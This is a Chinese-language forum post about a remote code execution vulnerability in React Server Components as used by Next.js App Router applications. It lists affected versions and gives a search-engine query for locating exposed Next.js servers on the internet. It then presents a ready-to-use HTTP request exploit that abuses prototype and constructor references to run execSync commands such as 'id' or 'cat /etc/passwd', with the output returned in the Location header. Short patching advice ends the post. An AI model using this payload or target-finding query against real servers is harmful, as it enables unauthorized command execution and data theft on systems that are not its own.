找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

480

积分

0

好友

60

主题
发表于 昨天 00:06 | 查看: 6| 回复: 0

近期,CVE-2025-32647(原编号 CVE-2024-62514)漏洞引发了广泛关注。该漏洞使得攻击者能够在特定条件下,远程在目标Next.js服务器上执行任意代码。本文将对漏洞的影响范围、利用条件进行梳理,并提供详细的复现步骤。

影响范围与利用条件

受影响的核心组件

  • react-server-dom-webpackReact Server Components 的关键组成部分)。使用该库的框架,如 Next.js 15.x / 16.x(App Router 模式)均受影响。

具体的受影响版本

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js版本
    • 15.x 系列(所有版本)
    • 16.x 系列(所有版本)
    • 14.3.0-canary.77 及后续的 canary 版本

关键利用条件: 目标应用必须同时满足以下两个条件:

  1. 启用了 React Server Components (RSC)
  2. 使用了 App Router 模式(基于 app/ 目录)。 若项目使用的是 Pages Router(基于 pages/ 目录),则不受此漏洞影响。

资产探测

您可以使用网络空间搜索引擎,通过以下语法快速定位可能受影响的、暴露在公网的 Next.js 应用:

app="Next.js" && body="/_next/static/chunks/app/" ||(body="react.production.min.js" || body="React.createElement(" || app="React.js" || app="Dify")

网络空间搜索语法示例

漏洞复现 (PoC)

以下是一个经过验证的漏洞利用请求示例 (Proof of Concept)。将其中的目标 Host 和要执行的命令替换为实际内容即可。

POST /apps HTTP/1.1
Host: [目标IP]:[端口]
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Next-Action: x
X-Nextjs-Request-Id: 7a3f9c1e
X-Nextjs-Html-Request-Id: 9bK2mPqRtVwXyZ3$@!sT7u
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Connection: close
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

关键位置: 请求体 _prefix 字段中的 execSync('id') 即为要执行的系统命令,可以替换为任何其他可在服务端执行的Node.js命令,例如 execSync('whoami')execSync('cat /etc/passwd') 等。

漏洞复现成功示例

成功利用后,命令执行结果将通过服务器响应的 Location 头返回。

修复建议

此漏洞影响范围广,且利用难度相对较低,属于高危漏洞。所有使用受影响版本的开发者应立即采取以下措施:

  1. 升级至安全版本:将 react-server-dom-webpack 升级至 19.2.1 或更高版本。对于Next.js项目,升级框架本身至安全版本(请关注官方发布的安全更新)。
  2. 关注官方通告:密切关注 Next.js 官方 GitHub 仓库的安全公告。
  3. 安全评估:对于无法立即升级的线上系统,应进行全面的安全评估与渗透测试,并严格限制应用的公网访问权限。
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-8 12:09 , Processed in 0.063075 second(s), 37 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表